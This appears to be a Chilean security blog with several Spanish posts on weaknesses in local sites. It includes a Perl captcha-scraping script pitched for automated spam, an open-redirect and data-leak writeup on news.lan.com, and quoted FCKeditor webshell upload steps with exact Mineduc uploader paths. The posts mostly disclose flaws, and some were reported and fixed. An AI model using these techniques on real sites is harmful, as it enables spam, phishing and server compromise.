Sitio del Mineduc vulnerado?, let's see!

No es nuevo encontrar que sitios del gobierno han sido vulnerados de alguna u otra forma, hemos visto: deface, enlaces a pornografia ocultos [Sí, la JUNJI] , robo de información?, incluso ataques automatizados que toman ventaja de vulnerabilidades conocidas en Webapps.

Hoy es el turno de un subdominio del Mineduc, me refiero a: http://sgdce.mineduc.cl/ 

Haciendo una búsqueda en Google con un pequeño DORK nos damos cuenta que mantiene contenido con variadas rutas finales que ninguna relación tienen con el contenido que esperariamos encontrar en una pagina del Gobierno.

Aquí solo Algunos: =x

#BotCommentsCL : Es momento de ser responsable de nuestros sitios

#BotCommentsCL 

BotCommentsCL es una iniciativa con la cual se busca dejar en evidencia a sitios chilenos que no se hacen cargo de lo que se comenta en sus webs, muchas veces por Bots entrenados para propagar publicaciones con contenido Sexual | Drogas u otro tipo de contenido no apropiado.

Es común navegar por Internet, en este caso en sitios chilenos, y encontrarnos con algunos foros abandonados o páginas que permiten comentarios, en donde no utilizan captcha o algún otro sistema para evitar robots , o simplemente son deficientes. Son estos tipos de sitios los que almacenan miles de publicaciones con links a todo tipo de contenido inapropiado, muchas veces incluso promocionando sitios de Pornografía Infantil, Venta y uso de Drogas .

Por otro lado, existe otra forma de ataque donde explotan vulnerabilidades en los CMS o Servidores para así dejar contenido en los sitios de la forma http://web.cl/ContenidoInapropiado/ , donde es común ver que la página nos redirecciona a otros sitios, o nos incentiva a descargar algún tipo de ejecutable u ofrece contenido pornográfico muchas veces ILEGAL.
#BotCommentsCL busca exponer estos sitios haciendo uso del mismo hash en Twitter acompañado del link al sitio para dejarlo en evidencia.

¿De que hablo? 

Colegios:

Obispado:

Universidades:

Municipalidades:

Como Publicar en Twitter:

#BotCommentsCL NOMBRE DE LA INSTITUCIÓN [Cuenta de Twitter si tiene]: Link al sitio con el contenido 


Sigue el Hash en Twitter: #BotCommentsCL


----------------------------------------------------------------
Por una red responsable y más segura !

Finish|

Ferl: Facebook con Perl

Ferl, Facebook con perl :D

He nombrado este miniproyecto "Ferl" Facebook con perl , iré actualizando el código agregando nuevas características apenas vaya teniendo un poquito de tiempo.

Es claro que día a día buscamos como automatizar o hacer mas fácil ciertas tareas que hacemos, o mas simple aun ¿porque no actualizar nuestro estado de Facebook desde nuestra linea de comandos?
¿Porque hacerlo? , porque podemos :D .

Esta demás decir que estas herramientas nos sirven para marketing online, pasar avisos o incluso ganar concursos =x (darkside) pero hoy solo veremos como mediante perl podemos actualizar nuestro estado mediante la graphAPI de Facebook ! 

¿Que módulos vamos a utilizar? ( hay quienes le gusta complicar todo, pero ¿porque no hacerlo simple )

• URI
• LWP::Simple

Vamos a ver que todo se basa en enviar peticiones a : https://graph.facebook.com y en la documentación veremos los parámetros disponibles y como se conforma la estructura de la peticion.

Como lo que nos interesa publicar, veremos que esto se hace de la siguiente manera:

Vamos a generar un POST para me/feed, con la variable "message" con el contenido que queremos que salga en nuestro muro, en otras palabras y mas simple hemos realizado la siguiente peticion:

POST graph.facebook.com
  /me/feed?
    message="Hello, World."&
    access_token={your-access-token}

Lo que finalmente se vera reflejado en nuestro muro, ya explicado esto vamos al codigo ! #perl

#!/usr/bin/perl

#Ferl, Facebook con Perl
#ShineeLabs
#contacto@xshinee.cl

use strict;
use URI;
use LWP::Simple;

my $access_token = 'Aqui va el token';

my $message = <STDIN>;
chop($mensaje);

conecta ('me/feed',  {
 access_token => $access_token,
 message      => $mensaje,
 method       => 'post'

});

exit 0 ;

sub conecta {
  my $urlbase = new URI ('https://graph.facebook.com' . shift );
  $urlbase -> query_form(shift);
  my $respuesta = get("$urlbase");

}

Como pueden ver en este ejemplo utilizamos la entrada estándar, pero basta un poquito de conocimiento en #perl para poder enviar mensajes de forma automatizada, o usar una lista de mensajes haciendo uso de el manejo de ficheros en perl, o abusar de algunos while & sleep para hacer que el mensaje se envié de forma automática y sincronizada.

¿Qué otros parámetros podemos utilizar? , revisen la Documentación de la grapAPI .


FIN 
exit;

Verificación Anti-Spam ? - Hell no !

Revisaba unas páginas locales, mas específicamente una revista y me llamo la atención esta "suerte" de captcha. [ Imagen ]

Vemos que el patrón del captacha no debiera ser muy difícil de sortear con un poco de captcha recognition o OpenCV pero veamos el source:

UPS!:

El Captcha esta en texto plano en el source.

Entonces podemos automatizar y SPAMEAR al objetivo sin problema no?

Para obtener el captcha:[ Perl ]

#!/usr/bin/perl

#blog.xshinee.cl
#@shinee_

    use LWP::UserAgent;
    use strict;


    print "## Explointing...\n";
    my $baseUrl="http://URLDESTINO";

            my $dato = &httpGet($baseUrl);
            while ( $dato =~ m!(.*?)!ig){
                    my $rg = $1;
                    my @data = split(/\+/, $rg);

my $FinalCaptcha = @data[1]+@data[2]+@data[3] ;
print " Este es el captcha $FinalCaptcha\n" ;

};



    sub httpGet{
    my $url = shift;
    my $navegador = new LWP::UserAgent;
    $navegador -> agent ("Internet of Things? - Labs");
    my $req = HTTP::Request -> new (GET => $url);
    my $respuesta = $navegador -> request ($req);
    my $contenido = $respuesta ->as_string;
    return $contenido;
    }

___

Solo queda agregar un par de lineas en el código para que haga el la petición POST y mande el comentario cada cierto tiempo que queramos.

:)

Campaña de Phishing - Banco Estado

Revisaba mi correo cuando me llamó la atención en mi bandeja de entrada lo siguiente:

Al entrar al correo nos encontramos con el siguiente contenido, y ya podemos comenzar a sospechar:

LAN.COM | DataLeak & OpenUrlRedirection

Revisando en mi bandeja de correo, LAN.COM genera correo con ofertas-Estados de Cuenta y otras promociones al correo que tenemos registrado con nuestra cuenta. El contenido de estos correos están en un subdominio de lan.com llamado: news.lan.com

Al observar mi propio correo enviado por LAN puedo identificar lo siguiente:

1) Cuando me ofrece acceder a distintos lugares donde debo ser redirigido la URL va de la siguiente forma [imagen 1] y el sitio donde quiero ser enviado pasa como parámetro después de '&'.

2) Como se trata de un correo de publicidad o de estados de cuenta por parte de LAN, nos ofrece realizar un "unsuscribe"(cancelar la suscripción) para dejar de recibir los correos por parte de ellos donde la URL muestra nuestro correo y nos lleva a la confirmación para la cancelación.

Dejando en claro esto es que comienzan los experimentos:

1) ¿Podremos cancelar la suscripción de otras personas arbitrariamente?

Lamentablemente, para cancelar la suscripción en la URL cada correo tiene su propio parámetro "CHECK" , unas cuantas combinaciones de letras y números generados para cada correo con el cual evitan que podamos utilizarlo para cancelar la suscripción de otros, ya que tendríamos que conocer su CHECK individual.

2) ¿El Open Url Redirection es tan "Open" como pensamos? - Una buena respuesta es NO y SI: NO: porque despues de http://news.lan.com/?XXXXXXXXXXXX viene un codigo generado por LAN que le da validez a la redirección pero sin limitar el destino de esta redirección: en otras palabras podemos ocupar ese codigo valido para redirgir donde nosotros queramos, las veces que queramos.

¿y que hacemos? - Si para cancelar la suscripción existe un check propio y relacionado con un correo único y por otro lado necesitamos el otro código valido para generar la redirección.

Pues GOOGLE no?

Dork? pueden imaginarlo: site:http://news.lan.com

182 resultados.

Cada resultado o al menos la mayoría contiene los mismos datos que los correos que recibí: Antes se seguir Aquí viene la parte del DATALEAK:

Correos son enviados con:  Nombre Apellido Nºde Socio Kms LanPass Fecha de Vencimiento y gracias a que tenemos en todos la opción de "cancelar suscripción" Podemos obtener el Correo Electronico.

Ejemplo :

Gracias a GOOGLE obtenemos:

* Correo + check valido, pudiendo cancelar la suscripción de aquellos correos indexados por el buscados que son alrededor de 182 resultados .

*Además obtenemos códigos validos para realizar el Open Url Redirection por ejemplo:

Donde al reemplazar el sitio que viene después de '&' podemos realizar finalmente la redirección arbitraria como muestra este ejemplo hacia Google: 

http://news.lan.com/?YEmp.2v3Z**********&http://google.cl

Alcance:

Con esta información, podriamos generar perfectamente un ataque de phishing personalizado. Además de tomar en cuenta que ya un DataLeak por si solo es un problema a la privacidad.

Estado:

Me comunique con el encargado de seguridad de LAN y me comunicaron que estaban al tanto de lo que sucedía y habían levantado el tema hacia el área encargada hace bastante tiempo.

TimeLapse?
7  Noviembre: Comunique el Problema
17 Noviembre: Solución a los Resultados de la Búsqueda en Google.
22 Noviembre: Publicación.

Excelente y rápida respuesta del Encargado de Seguridad de LAN, muy amable, atento a los reportes, y a responder cada correo.

*/ FIN

Mineduc & Fckeditor: Arbitrary File Upload Vulnerability

La vulnerabilidad en Fckeditor [ Arbitrary File Upload Vulnerability] es bastante conocida y la forma de explotarla y lograr subir una Webshell también, es cosa de hacer una búsqueda en Google.Y vemos que aparecen multiples "exploits" como el que se muestra aquí:

1.create a htaccess file:
code: 

SetHandler application/x-httpd-php

 
2.Now upload this htaccess with FCKeditor.
http://target.com/FCKeditor/editor/filemanager/upload/test.html
http://target.com/FCKeditor/editor/filemanager/browser/default/connectors/test.html
----------------------------------------------------------------------------------------------
3.Now upload shell.php.gif with FCKeditor.
4.After upload shell.php.gif, the name "shell.php.gif" change to "shell_php.gif" automatically.
5.http://target.com/anything/shell_php.gif
6.Now shell is available from server. 

El sitio del Mineduc utiliza Fckeditor. / UPS
Es relativamente fácil encontrar los directorios finales ya que son públicamente conocidos, así llegar a los uploaders.


Mineduc?
http://www.mineduc.cl/aplicaciones/FCKeditor/editor/filemanager/upload/test.html
http://www.mineduc.cl/aplicaciones/FCKeditor/editor/filemanager/browser/default/connectors/test.html
http://www.mineduc.cl/aplicaciones/FCKeditor/editor/filemanager/browser/default/frmupload.html


http://www.mineduc.cl/aplicaciones/FCKeditor/editor/filemanager/browser/default/frmcreatefolder.html

---------------------------------------------------------------
Reportado // -> ESTADO: Fixed 
FIN   /..